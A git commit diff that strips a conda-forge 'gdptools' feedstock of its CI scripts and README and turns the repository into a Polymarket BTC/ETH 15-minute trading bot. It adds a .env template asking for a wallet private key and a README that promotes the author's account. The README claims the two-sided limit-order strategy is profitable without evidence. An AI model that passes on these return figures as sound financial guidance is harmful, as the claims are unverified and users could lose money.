Optimization Strategies
This commit is contained in:
@@ -1,44 +0,0 @@
|
||||
# This file was generated automatically from conda-smithy. To update this configuration,
|
||||
# update the conda-forge.yml and/or the recipe/meta.yaml.
|
||||
# -*- mode: yaml -*-
|
||||
|
||||
jobs:
|
||||
- job: linux
|
||||
pool:
|
||||
vmImage: ubuntu-latest
|
||||
strategy:
|
||||
matrix:
|
||||
linux_64_:
|
||||
CONFIG: linux_64_
|
||||
UPLOAD_PACKAGES: 'True'
|
||||
DOCKER_IMAGE: quay.io/condaforge/linux-anvil-x86_64:alma9
|
||||
timeoutInMinutes: 360
|
||||
variables: {}
|
||||
|
||||
steps:
|
||||
# configure qemu binfmt-misc running. This allows us to run docker containers
|
||||
# embedded qemu-static
|
||||
- script: |
|
||||
docker run --rm --privileged multiarch/qemu-user-static:register --reset --credential yes
|
||||
ls /proc/sys/fs/binfmt_misc/
|
||||
condition: not(startsWith(variables['CONFIG'], 'linux_64'))
|
||||
displayName: Configure binfmt_misc
|
||||
|
||||
- script: |
|
||||
export CI=azure
|
||||
export flow_run_id=azure_$(Build.BuildNumber).$(System.JobAttempt)
|
||||
export remote_url=$(Build.Repository.Uri)
|
||||
export sha=$(Build.SourceVersion)
|
||||
export GIT_BRANCH=$BUILD_SOURCEBRANCHNAME
|
||||
export FEEDSTOCK_NAME=$(basename ${BUILD_REPOSITORY_NAME})
|
||||
if [[ "${BUILD_REASON:-}" == "PullRequest" ]]; then
|
||||
export IS_PR_BUILD="True"
|
||||
else
|
||||
export IS_PR_BUILD="False"
|
||||
fi
|
||||
.scripts/run_docker_build.sh
|
||||
displayName: Run docker build
|
||||
env:
|
||||
BINSTAR_TOKEN: $(BINSTAR_TOKEN)
|
||||
FEEDSTOCK_TOKEN: $(FEEDSTOCK_TOKEN)
|
||||
STAGING_BINSTAR_TOKEN: $(STAGING_BINSTAR_TOKEN)
|
||||
@@ -1,6 +0,0 @@
|
||||
This file is automatically generated by conda-smithy. If any
|
||||
particular build configuration is expected, but it is not found,
|
||||
please make sure all dependencies are satisfiable. To add/modify any
|
||||
matrix elements, you should create/change conda-smithy's input
|
||||
recipe/conda_build_config.yaml and re-render the recipe, rather than
|
||||
editing these files directly.
|
||||
@@ -1,10 +0,0 @@
|
||||
cdt_name:
|
||||
- conda
|
||||
channel_sources:
|
||||
- conda-forge
|
||||
channel_targets:
|
||||
- conda-forge main
|
||||
docker_image:
|
||||
- quay.io/condaforge/linux-anvil-x86_64:alma9
|
||||
python_min:
|
||||
- '3.9'
|
||||
@@ -1,25 +0,0 @@
|
||||
# This file was generated automatically from conda-smithy. To update this configuration,
|
||||
# update the conda-forge.yml and/or the recipe/meta.yaml.
|
||||
# -*- mode: jinja-yaml -*-
|
||||
|
||||
version: 2
|
||||
|
||||
jobs:
|
||||
build:
|
||||
working_directory: ~/test
|
||||
machine:
|
||||
image: ubuntu-2004:current
|
||||
steps:
|
||||
- run:
|
||||
# The Circle-CI build should not be active, but if this is not true for some reason, do a fast finish.
|
||||
command: exit 0
|
||||
|
||||
workflows:
|
||||
version: 2
|
||||
build_and_test:
|
||||
jobs:
|
||||
- build:
|
||||
filters:
|
||||
branches:
|
||||
ignore:
|
||||
- /.*/
|
||||
@@ -0,0 +1,38 @@
|
||||
# Poll active 15m markets every N ms
|
||||
POLL_INTERVAL_MS=5000
|
||||
|
||||
# Markets to trade (comma-separated slug prefixes)
|
||||
MARKET_SLUG_PREFIXES=btc-updown-15m,eth-updown-15m
|
||||
|
||||
# Reverse side: limit BUY at 7-10c on the cheap (underdog) outcome
|
||||
CHEAP_BUY_MIN=0.07
|
||||
CHEAP_BUY_MAX=0.10
|
||||
CHEAP_ORDER_USDC=10
|
||||
|
||||
# Hedge side: limit BUY at 90-95c on the favorite outcome
|
||||
ENABLE_EXPENSIVE_HEDGE=true
|
||||
EXPENSIVE_BUY_MIN=0.90
|
||||
EXPENSIVE_BUY_MAX=0.95
|
||||
EXPENSIVE_ORDER_USDC=50
|
||||
|
||||
# Max shares per order (@odahoa typically uses ~90)
|
||||
MAX_SHARES_PER_ORDER=90
|
||||
|
||||
# Only trade when this many minutes remain in the 15m window (0-15)
|
||||
MINUTES_BEFORE_CLOSE_MIN=0
|
||||
MINUTES_BEFORE_CLOSE_MAX=15
|
||||
|
||||
# Safety: set to false to place real orders
|
||||
DRY_RUN=false
|
||||
|
||||
# CLOB / wallet (required when DRY_RUN=false)
|
||||
PRIVATE_KEY=0x...
|
||||
FUNDER_ADDRESS=0xe2511c9e41c5e762887e538b1d6e7221807aa237
|
||||
SIGNATURE_TYPE=2
|
||||
CLOB_HOST=https://clob.polymarket.com
|
||||
CHAIN_ID=137
|
||||
|
||||
# Optional: reuse existing API credentials instead of deriving
|
||||
# CLOB_API_KEY=
|
||||
# CLOB_SECRET=
|
||||
# CLOB_PASSPHRASE=
|
||||
@@ -1,27 +0,0 @@
|
||||
* text=auto
|
||||
|
||||
*.patch binary
|
||||
*.diff binary
|
||||
meta.yaml text eol=lf
|
||||
build.sh text eol=lf
|
||||
bld.bat text eol=crlf
|
||||
|
||||
# github helper pieces to make some files not show up in diffs automatically
|
||||
.azure-pipelines/* linguist-generated=true
|
||||
.circleci/* linguist-generated=true
|
||||
.ci_support/README linguist-generated=true
|
||||
.drone/* linguist-generated=true
|
||||
.drone.yml linguist-generated=true
|
||||
.github/* linguist-generated=true
|
||||
.travis/* linguist-generated=true
|
||||
.appveyor.yml linguist-generated=true
|
||||
.gitattributes linguist-generated=true
|
||||
.gitignore linguist-generated=true
|
||||
.travis.yml linguist-generated=true
|
||||
.scripts/* linguist-generated=true
|
||||
.woodpecker.yml linguist-generated=true
|
||||
/LICENSE.txt linguist-generated=true
|
||||
/README.md linguist-generated=true
|
||||
azure-pipelines.yml linguist-generated=true
|
||||
build-locally.py linguist-generated=true
|
||||
shippable.yml linguist-generated=true
|
||||
@@ -1 +0,0 @@
|
||||
* @ocefpaf @rmcd-mscb
|
||||
@@ -0,0 +1,2 @@
|
||||
custom:
|
||||
- https://polymarket.com/@odahoa
|
||||
+4
-29
@@ -1,29 +1,4 @@
|
||||
# User content belongs under recipe/.
|
||||
# Feedstock configuration goes in `conda-forge.yml`
|
||||
# Everything else is managed by the conda-smithy rerender process.
|
||||
# Please do not modify
|
||||
|
||||
# Ignore all files and folders in root
|
||||
*
|
||||
!/conda-forge.yml
|
||||
|
||||
# Don't ignore any files/folders if the parent folder is 'un-ignored'
|
||||
# This also avoids warnings when adding an already-checked file with an ignored parent.
|
||||
!/**/
|
||||
# Don't ignore any files/folders recursively in the following folders
|
||||
!/recipe/**
|
||||
!/.ci_support/**
|
||||
|
||||
# Since we ignore files/folders recursively, any folders inside
|
||||
# build_artifacts gets ignored which trips some build systems.
|
||||
# To avoid that we 'un-ignore' all files/folders recursively
|
||||
# and only ignore the root build_artifacts folder.
|
||||
!/build_artifacts/**
|
||||
/build_artifacts
|
||||
|
||||
*.pyc
|
||||
|
||||
# Rattler-build's artifacts are in `output` when not specifying anything.
|
||||
/output
|
||||
# Pixi's configuration
|
||||
.pixi
|
||||
node_modules/
|
||||
dist/
|
||||
.env
|
||||
*.log
|
||||
|
||||
@@ -1,97 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
|
||||
# PLEASE NOTE: This script has been automatically generated by conda-smithy. Any changes here
|
||||
# will be lost next time ``conda smithy rerender`` is run. If you would like to make permanent
|
||||
# changes to this script, consider a proposal to conda-smithy so that other feedstocks can also
|
||||
# benefit from the improvement.
|
||||
|
||||
# -*- mode: jinja-shell -*-
|
||||
|
||||
set -xeuo pipefail
|
||||
export FEEDSTOCK_ROOT="${FEEDSTOCK_ROOT:-/home/conda/feedstock_root}"
|
||||
source ${FEEDSTOCK_ROOT}/.scripts/logging_utils.sh
|
||||
|
||||
|
||||
( endgroup "Start Docker" ) 2> /dev/null
|
||||
|
||||
( startgroup "Configuring conda" ) 2> /dev/null
|
||||
|
||||
export PYTHONUNBUFFERED=1
|
||||
export RECIPE_ROOT="${RECIPE_ROOT:-/home/conda/recipe_root}"
|
||||
export CI_SUPPORT="${FEEDSTOCK_ROOT}/.ci_support"
|
||||
export CONFIG_FILE="${CI_SUPPORT}/${CONFIG}.yaml"
|
||||
|
||||
cat >~/.condarc <<CONDARC
|
||||
|
||||
conda-build:
|
||||
root-dir: ${FEEDSTOCK_ROOT}/build_artifacts
|
||||
pkgs_dirs:
|
||||
- ${FEEDSTOCK_ROOT}/build_artifacts/pkg_cache
|
||||
- /opt/conda/pkgs
|
||||
solver: libmamba
|
||||
|
||||
CONDARC
|
||||
mv /opt/conda/conda-meta/history /opt/conda/conda-meta/history.$(date +%Y-%m-%d-%H-%M-%S)
|
||||
echo > /opt/conda/conda-meta/history
|
||||
micromamba install --root-prefix ~/.conda --prefix /opt/conda \
|
||||
--yes --override-channels --channel conda-forge --strict-channel-priority \
|
||||
pip python=3.12 conda-build conda-forge-ci-setup=4 "conda-build>=24.1"
|
||||
export CONDA_LIBMAMBA_SOLVER_NO_CHANNELS_FROM_INSTALLED=1
|
||||
|
||||
# set up the condarc
|
||||
setup_conda_rc "${FEEDSTOCK_ROOT}" "${RECIPE_ROOT}" "${CONFIG_FILE}"
|
||||
|
||||
source run_conda_forge_build_setup
|
||||
|
||||
|
||||
|
||||
# make the build number clobber
|
||||
make_build_number "${FEEDSTOCK_ROOT}" "${RECIPE_ROOT}" "${CONFIG_FILE}"
|
||||
|
||||
|
||||
|
||||
( endgroup "Configuring conda" ) 2> /dev/null
|
||||
|
||||
if [[ -f "${FEEDSTOCK_ROOT}/LICENSE.txt" ]]; then
|
||||
cp "${FEEDSTOCK_ROOT}/LICENSE.txt" "${RECIPE_ROOT}/recipe-scripts-license.txt"
|
||||
fi
|
||||
|
||||
if [[ "${BUILD_WITH_CONDA_DEBUG:-0}" == 1 ]]; then
|
||||
if [[ "x${BUILD_OUTPUT_ID:-}" != "x" ]]; then
|
||||
EXTRA_CB_OPTIONS="${EXTRA_CB_OPTIONS:-} --output-id ${BUILD_OUTPUT_ID}"
|
||||
fi
|
||||
conda debug "${RECIPE_ROOT}" -m "${CI_SUPPORT}/${CONFIG}.yaml" \
|
||||
${EXTRA_CB_OPTIONS:-} \
|
||||
--clobber-file "${CI_SUPPORT}/clobber_${CONFIG}.yaml"
|
||||
|
||||
# Drop into an interactive shell
|
||||
/bin/bash
|
||||
else
|
||||
conda-build "${RECIPE_ROOT}" -m "${CI_SUPPORT}/${CONFIG}.yaml" \
|
||||
--suppress-variables ${EXTRA_CB_OPTIONS:-} \
|
||||
--clobber-file "${CI_SUPPORT}/clobber_${CONFIG}.yaml" \
|
||||
--extra-meta flow_run_id="${flow_run_id:-}" remote_url="${remote_url:-}" sha="${sha:-}"
|
||||
( startgroup "Inspecting artifacts" ) 2> /dev/null
|
||||
|
||||
# inspect_artifacts was only added in conda-forge-ci-setup 4.9.4
|
||||
command -v inspect_artifacts >/dev/null 2>&1 && inspect_artifacts --recipe-dir "${RECIPE_ROOT}" -m "${CONFIG_FILE}" || echo "inspect_artifacts needs conda-forge-ci-setup >=4.9.4"
|
||||
|
||||
( endgroup "Inspecting artifacts" ) 2> /dev/null
|
||||
( startgroup "Validating outputs" ) 2> /dev/null
|
||||
|
||||
validate_recipe_outputs "${FEEDSTOCK_NAME}"
|
||||
|
||||
( endgroup "Validating outputs" ) 2> /dev/null
|
||||
|
||||
( startgroup "Uploading packages" ) 2> /dev/null
|
||||
|
||||
if [[ "${UPLOAD_PACKAGES}" != "False" ]] && [[ "${IS_PR_BUILD}" == "False" ]]; then
|
||||
upload_package --validate --feedstock-name="${FEEDSTOCK_NAME}" "${FEEDSTOCK_ROOT}" "${RECIPE_ROOT}" "${CONFIG_FILE}"
|
||||
fi
|
||||
|
||||
( endgroup "Uploading packages" ) 2> /dev/null
|
||||
fi
|
||||
|
||||
( startgroup "Final checks" ) 2> /dev/null
|
||||
|
||||
touch "${FEEDSTOCK_ROOT}/build_artifacts/conda-forge-build-done-${CONFIG}"
|
||||
@@ -1,35 +0,0 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Provide a unified interface for the different logging
|
||||
# utilities CI providers offer. If unavailable, provide
|
||||
# a compatible fallback (e.g. bare `echo xxxxxx`).
|
||||
|
||||
function startgroup {
|
||||
# Start a foldable group of log lines
|
||||
# Pass a single argument, quoted
|
||||
case ${CI:-} in
|
||||
azure )
|
||||
echo "##[group]$1";;
|
||||
travis )
|
||||
echo "$1"
|
||||
echo -en 'travis_fold:start:'"${1// /}"'\r';;
|
||||
github_actions )
|
||||
echo "::group::$1";;
|
||||
* )
|
||||
echo "$1";;
|
||||
esac
|
||||
} 2> /dev/null
|
||||
|
||||
function endgroup {
|
||||
# End a foldable group of log lines
|
||||
# Pass a single argument, quoted
|
||||
|
||||
case ${CI:-} in
|
||||
azure )
|
||||
echo "##[endgroup]";;
|
||||
travis )
|
||||
echo -en 'travis_fold:end:'"${1// /}"'\r';;
|
||||
github_actions )
|
||||
echo "::endgroup::";;
|
||||
esac
|
||||
} 2> /dev/null
|
||||
@@ -1,114 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
|
||||
# PLEASE NOTE: This script has been automatically generated by conda-smithy. Any changes here
|
||||
# will be lost next time ``conda smithy rerender`` is run. If you would like to make permanent
|
||||
# changes to this script, consider a proposal to conda-smithy so that other feedstocks can also
|
||||
# benefit from the improvement.
|
||||
|
||||
source .scripts/logging_utils.sh
|
||||
|
||||
( startgroup "Configure Docker" ) 2> /dev/null
|
||||
|
||||
set -xeo pipefail
|
||||
|
||||
THISDIR="$( cd "$( dirname "$0" )" >/dev/null && pwd )"
|
||||
PROVIDER_DIR="$(basename "$THISDIR")"
|
||||
|
||||
FEEDSTOCK_ROOT="$( cd "$( dirname "$0" )/.." >/dev/null && pwd )"
|
||||
RECIPE_ROOT="${FEEDSTOCK_ROOT}/recipe"
|
||||
|
||||
if [ -z ${FEEDSTOCK_NAME} ]; then
|
||||
export FEEDSTOCK_NAME=$(basename ${FEEDSTOCK_ROOT})
|
||||
fi
|
||||
|
||||
if [[ "${sha:-}" == "" ]]; then
|
||||
pushd "${FEEDSTOCK_ROOT}"
|
||||
sha=$(git rev-parse HEAD)
|
||||
popd
|
||||
fi
|
||||
|
||||
docker info
|
||||
|
||||
# In order for the conda-build process in the container to write to the mounted
|
||||
# volumes, we need to run with the same id as the host machine, which is
|
||||
# normally the owner of the mounted volumes, or at least has write permission
|
||||
export HOST_USER_ID=$(id -u)
|
||||
# Check if docker-machine is being used (normally on OSX) and get the uid from
|
||||
# the VM
|
||||
if hash docker-machine 2> /dev/null && docker-machine active > /dev/null; then
|
||||
export HOST_USER_ID=$(docker-machine ssh $(docker-machine active) id -u)
|
||||
fi
|
||||
|
||||
ARTIFACTS="$FEEDSTOCK_ROOT/build_artifacts"
|
||||
|
||||
if [ -z "$CONFIG" ]; then
|
||||
set +x
|
||||
FILES=`ls .ci_support/linux_*`
|
||||
CONFIGS=""
|
||||
for file in $FILES; do
|
||||
CONFIGS="${CONFIGS}'${file:12:-5}' or ";
|
||||
done
|
||||
echo "Need to set CONFIG env variable. Value can be one of ${CONFIGS:0:-4}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [ -z "${DOCKER_IMAGE}" ]; then
|
||||
SHYAML_INSTALLED="$(shyaml -h || echo NO)"
|
||||
if [ "${SHYAML_INSTALLED}" == "NO" ]; then
|
||||
echo "WARNING: DOCKER_IMAGE variable not set and shyaml not installed. Trying to parse with coreutils"
|
||||
DOCKER_IMAGE=$(cat .ci_support/${CONFIG}.yaml | grep '^docker_image:$' -A 1 | tail -n 1 | cut -b 3-)
|
||||
if [ "${DOCKER_IMAGE}" = "" ]; then
|
||||
echo "No docker_image entry found in ${CONFIG}. Falling back to quay.io/condaforge/linux-anvil-comp7"
|
||||
DOCKER_IMAGE="quay.io/condaforge/linux-anvil-comp7"
|
||||
fi
|
||||
else
|
||||
DOCKER_IMAGE="$(cat "${FEEDSTOCK_ROOT}/.ci_support/${CONFIG}.yaml" | shyaml get-value docker_image.0 quay.io/condaforge/linux-anvil-comp7 )"
|
||||
fi
|
||||
fi
|
||||
|
||||
mkdir -p "$ARTIFACTS"
|
||||
DONE_CANARY="$ARTIFACTS/conda-forge-build-done-${CONFIG}"
|
||||
rm -f "$DONE_CANARY"
|
||||
|
||||
# Allow people to specify extra default arguments to `docker run` (e.g. `--rm`)
|
||||
DOCKER_RUN_ARGS="${CONDA_FORGE_DOCKER_RUN_ARGS}"
|
||||
if [ -z "${CI}" ]; then
|
||||
DOCKER_RUN_ARGS="-it ${DOCKER_RUN_ARGS}"
|
||||
fi
|
||||
|
||||
( endgroup "Configure Docker" ) 2> /dev/null
|
||||
|
||||
( startgroup "Start Docker" ) 2> /dev/null
|
||||
|
||||
export UPLOAD_PACKAGES="${UPLOAD_PACKAGES:-True}"
|
||||
export IS_PR_BUILD="${IS_PR_BUILD:-False}"
|
||||
docker pull "${DOCKER_IMAGE}"
|
||||
docker run ${DOCKER_RUN_ARGS} \
|
||||
-v "${RECIPE_ROOT}":/home/conda/recipe_root:rw,z,delegated \
|
||||
-v "${FEEDSTOCK_ROOT}":/home/conda/feedstock_root:rw,z,delegated \
|
||||
-e CONFIG \
|
||||
-e HOST_USER_ID \
|
||||
-e UPLOAD_PACKAGES \
|
||||
-e IS_PR_BUILD \
|
||||
-e GIT_BRANCH \
|
||||
-e UPLOAD_ON_BRANCH \
|
||||
-e CI \
|
||||
-e FEEDSTOCK_NAME \
|
||||
-e CPU_COUNT \
|
||||
-e BUILD_WITH_CONDA_DEBUG \
|
||||
-e BUILD_OUTPUT_ID \
|
||||
-e flow_run_id \
|
||||
-e remote_url \
|
||||
-e sha \
|
||||
-e BINSTAR_TOKEN \
|
||||
-e FEEDSTOCK_TOKEN \
|
||||
-e STAGING_BINSTAR_TOKEN \
|
||||
"${DOCKER_IMAGE}" \
|
||||
bash \
|
||||
"/home/conda/feedstock_root/${PROVIDER_DIR}/build_steps.sh"
|
||||
|
||||
# verify that the end of the script was reached
|
||||
test -f "$DONE_CANARY"
|
||||
|
||||
# This closes the last group opened in `build_steps.sh`
|
||||
( endgroup "Final checks" ) 2> /dev/null
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2026 polymarket arbitrage bot
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
-27
@@ -1,27 +0,0 @@
|
||||
BSD-3-Clause license
|
||||
Copyright (c) 2015-2022, conda-forge contributors
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
|
||||
1. Redistributions of source code must retain the above copyright notice,
|
||||
this list of conditions and the following disclaimer.
|
||||
2. Redistributions in binary form must reproduce the above copyright
|
||||
notice, this list of conditions and the following disclaimer in the
|
||||
documentation and/or other materials provided with the distribution.
|
||||
3. Neither the name of the copyright holder nor the names of its
|
||||
contributors may be used to endorse or promote products derived from
|
||||
this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE FOR
|
||||
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
|
||||
DAMAGE.
|
||||
@@ -1,148 +1,269 @@
|
||||
About gdptools-feedstock
|
||||
========================
|
||||
# Polymarket Reverse Arbitrage Bot
|
||||
|
||||
Feedstock license: [BSD-3-Clause](https://github.com/conda-forge/gdptools-feedstock/blob/main/LICENSE.txt)
|
||||
TypeScript automation for my Polymarket reverse strategy on **15-minute BTC/ETH Up or Down** markets.
|
||||
|
||||
Home: https://code.usgs.gov/wma/nhgf/toolsteam/gdptools
|
||||
---
|
||||
|
||||
Package license: Unlicense
|
||||
|
||||
Summary: Gdptools
|
||||
|
||||
Current build status
|
||||
====================
|
||||
## My Polymarket account
|
||||
<img width="815" height="291" alt="image" src="https://github.com/user-attachments/assets/0971eb6d-de7e-4f9a-82a1-14a2163db209" />
|
||||
|
||||
|
||||
<table><tr><td>All platforms:</td>
|
||||
<td>
|
||||
<a href="https://dev.azure.com/conda-forge/feedstock-builds/_build/latest?definitionId=17168&branchName=main">
|
||||
<img src="https://dev.azure.com/conda-forge/feedstock-builds/_apis/build/status/gdptools-feedstock?branchName=main">
|
||||
</a>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
| | |
|
||||
|---|---|
|
||||
| **Profile** | [@odahoa](https://polymarket.com/@odahoa?tab=activity) |
|
||||
| **Username** | `odahoa` |
|
||||
| **Proxy wallet** | `0xe2511c9e41c5e762887e538b1d6e7221807aa237` |
|
||||
| **Markets** | `btc-updown-15m`, `eth-updown-15m` |
|
||||
|
||||
Current release info
|
||||
====================
|
||||
All activity, positions, and PnL live on my profile:
|
||||
**https://polymarket.com/@odahoa?tab=activity**
|
||||
|
||||
| Name | Downloads | Version | Platforms |
|
||||
| --- | --- | --- | --- |
|
||||
| [](https://anaconda.org/conda-forge/gdptools) | [](https://anaconda.org/conda-forge/gdptools) | [](https://anaconda.org/conda-forge/gdptools) | [](https://anaconda.org/conda-forge/gdptools) |
|
||||
This bot trades **from that account** — it automates what I already do manually. It is not copy trading and does not watch any other wallet.
|
||||
|
||||
Installing gdptools
|
||||
===================
|
||||
---
|
||||
|
||||
Installing `gdptools` from the `conda-forge` channel can be achieved by adding `conda-forge` to your channels with:
|
||||
## Overview
|
||||
|
||||
Polymarket runs 15-minute windows like:
|
||||
|
||||
> **Bitcoin Up or Down — 1:45PM–2:00PM ET**
|
||||
|
||||
Each window has two tokens:
|
||||
|
||||
| Token | Wins when |
|
||||
|-------|-----------|
|
||||
| **Up** | Price at end ≥ price at start |
|
||||
| **Down** | Price at end < price at start |
|
||||
|
||||
Winning tokens pay **$1.00**. Losing tokens pay **$0.00**.
|
||||
|
||||
My strategy — the **reverse bot** — posts limit **BUY** orders on **both sides** every window:
|
||||
|
||||
1. **Cheap reversal side (7–10¢)** on the underdog outcome
|
||||
2. **Expensive hedge side (90–95¢)** on the favorite outcome
|
||||
|
||||
That is the same pattern visible on my [activity tab](https://polymarket.com/@odahoa?tab=activity): round limit prices (7¢, 8¢, 10¢ … 95¢), 20–90 shares per fill, no sells — hold to resolution.
|
||||
|
||||
---
|
||||
|
||||
## Why "reverse"?
|
||||
|
||||
Early in a window, price often trends one way:
|
||||
|
||||
```
|
||||
conda config --add channels conda-forge
|
||||
conda config --set channel_priority strict
|
||||
BTC pumps in first 10 minutes
|
||||
→ Up token ~90–97¢ (favorite)
|
||||
→ Down token ~3–10¢ (underdog)
|
||||
```
|
||||
|
||||
Once the `conda-forge` channel has been enabled, `gdptools` can be installed with `conda`:
|
||||
The crowd prices the underdog as nearly dead. The **reverse bet** is: *it flips before the window closes*.
|
||||
|
||||
| Leg | Outcome | Entry | If it wins |
|
||||
|-----|---------|-------|------------|
|
||||
| **Reverse** | Underdog | 7–10¢ | ~10–14× |
|
||||
| **Hedge** | Favorite | 90–95¢ | ~5–11% |
|
||||
|
||||
Only one side pays $1 per window. I run both legs because:
|
||||
|
||||
- Cheap fills are rare but pay huge when they hit.
|
||||
- Hedge fills are smaller profit but hit more often.
|
||||
- Over hundreds of windows, a few reversals cover many losses.
|
||||
|
||||
---
|
||||
|
||||
## How I trade (manual → bot)
|
||||
|
||||
From my account history:
|
||||
|
||||
| Pattern | Detail |
|
||||
|---------|--------|
|
||||
| Markets | BTC & ETH 15m Up/Down only |
|
||||
| Order type | Limit BUY only — never sell |
|
||||
| Cheap leg | Fills at 7–10¢ (sometimes 5–25¢) on underdog |
|
||||
| Hedge leg | Fills at 90–95¢ on favorite |
|
||||
| Both sides | Same window — e.g. Down @ 95¢ and Up @ 15¢ |
|
||||
| Size | 20–90 shares per order |
|
||||
|
||||
The bot replaces hand-placing every limit order each window.
|
||||
|
||||
---
|
||||
|
||||
## Bot logic
|
||||
|
||||
Every **5 seconds** (configurable):
|
||||
|
||||
```
|
||||
conda install gdptools
|
||||
1. Scan active btc-updown-15m / eth-updown-15m markets
|
||||
2. Load Up & Down order books (CLOB API)
|
||||
3. Underdog = outcome with lower best ask
|
||||
4. Favorite = the other outcome
|
||||
5. Post limit BUYs on underdog @ 7¢, 8¢, 9¢, 10¢
|
||||
6. Post limit BUYs on favorite @ 90¢–95¢ (if hedge enabled)
|
||||
7. Skip price levels already posted this session
|
||||
```
|
||||
|
||||
or with `mamba`:
|
||||
### Cheap leg — underdog @ 7–10¢
|
||||
|
||||
```
|
||||
mamba install gdptools
|
||||
Down best ask = 4¢ → bot bids 7¢, 8¢, 9¢, 10¢ on Down
|
||||
```
|
||||
|
||||
It is possible to list all of the versions of `gdptools` available on your platform with `conda`:
|
||||
If Down reverses and wins:
|
||||
|
||||
```
|
||||
conda search gdptools --channel conda-forge
|
||||
90 shares × 8¢ = $7.20 in
|
||||
90 shares × $1 = $90.00 out → +$82.80 (~1,150%)
|
||||
```
|
||||
|
||||
or with `mamba`:
|
||||
### Hedge leg — favorite @ 90–95¢
|
||||
|
||||
```
|
||||
mamba search gdptools --channel conda-forge
|
||||
Up best ask = 97¢ → bot bids 90¢–95¢ on Up
|
||||
```
|
||||
|
||||
Alternatively, `mamba repoquery` may provide more information:
|
||||
If Up holds and wins:
|
||||
|
||||
```
|
||||
# Search all versions available on your platform:
|
||||
mamba repoquery search gdptools --channel conda-forge
|
||||
|
||||
# List packages depending on `gdptools`:
|
||||
mamba repoquery whoneeds gdptools --channel conda-forge
|
||||
|
||||
# List dependencies of `gdptools`:
|
||||
mamba repoquery depends gdptools --channel conda-forge
|
||||
52 shares × 95¢ = $49.40 in
|
||||
52 shares × $1 = $52.00 out → +$2.60 (~5%)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
About conda-forge
|
||||
=================
|
||||
## Example window
|
||||
|
||||
[](https://numfocus.org)
|
||||
**Market:** Bitcoin Up or Down — 1:45–2:00 PM ET
|
||||
**BTC pumped early** → Up favored, Down cheap
|
||||
|
||||
conda-forge is a community-led conda channel of installable packages.
|
||||
In order to provide high-quality builds, the process has been automated into the
|
||||
conda-forge GitHub organization. The conda-forge organization contains one repository
|
||||
for each of the installable packages. Such a repository is known as a *feedstock*.
|
||||
| Token | Book | Bot posts |
|
||||
|-------|------|-----------|
|
||||
| Up (favorite) | ask 97¢ | BUY limits @ 90–95¢ |
|
||||
| Down (underdog) | ask 4¢ | BUY limits @ 7–10¢ |
|
||||
|
||||
A feedstock is made up of a conda recipe (the instructions on what and how to build
|
||||
the package) and the necessary configurations for automatic building using freely
|
||||
available continuous integration services. Thanks to the awesome service provided by
|
||||
[Azure](https://azure.microsoft.com/en-us/services/devops/), [GitHub](https://github.com/),
|
||||
[CircleCI](https://circleci.com/), [AppVeyor](https://www.appveyor.com/),
|
||||
[Drone](https://cloud.drone.io/welcome), and [TravisCI](https://travis-ci.com/)
|
||||
it is possible to build and upload installable packages to the
|
||||
[conda-forge](https://anaconda.org/conda-forge) [anaconda.org](https://anaconda.org/)
|
||||
channel for Linux, Windows and OSX respectively.
|
||||
| Result | Cheap leg | Hedge leg |
|
||||
|--------|-----------|-----------|
|
||||
| Up wins | Down → $0 | Up → small profit |
|
||||
| Down reverses | Down → big profit | Up → $0 |
|
||||
|
||||
To manage the continuous integration and simplify feedstock maintenance
|
||||
[conda-smithy](https://github.com/conda-forge/conda-smithy) has been developed.
|
||||
Using the ``conda-forge.yml`` within this repository, it is possible to re-render all of
|
||||
this feedstock's supporting files (e.g. the CI configuration files) with ``conda smithy rerender``.
|
||||
---
|
||||
|
||||
For more information please check the [conda-forge documentation](https://conda-forge.org/docs/).
|
||||
## Return table
|
||||
|
||||
Terminology
|
||||
===========
|
||||
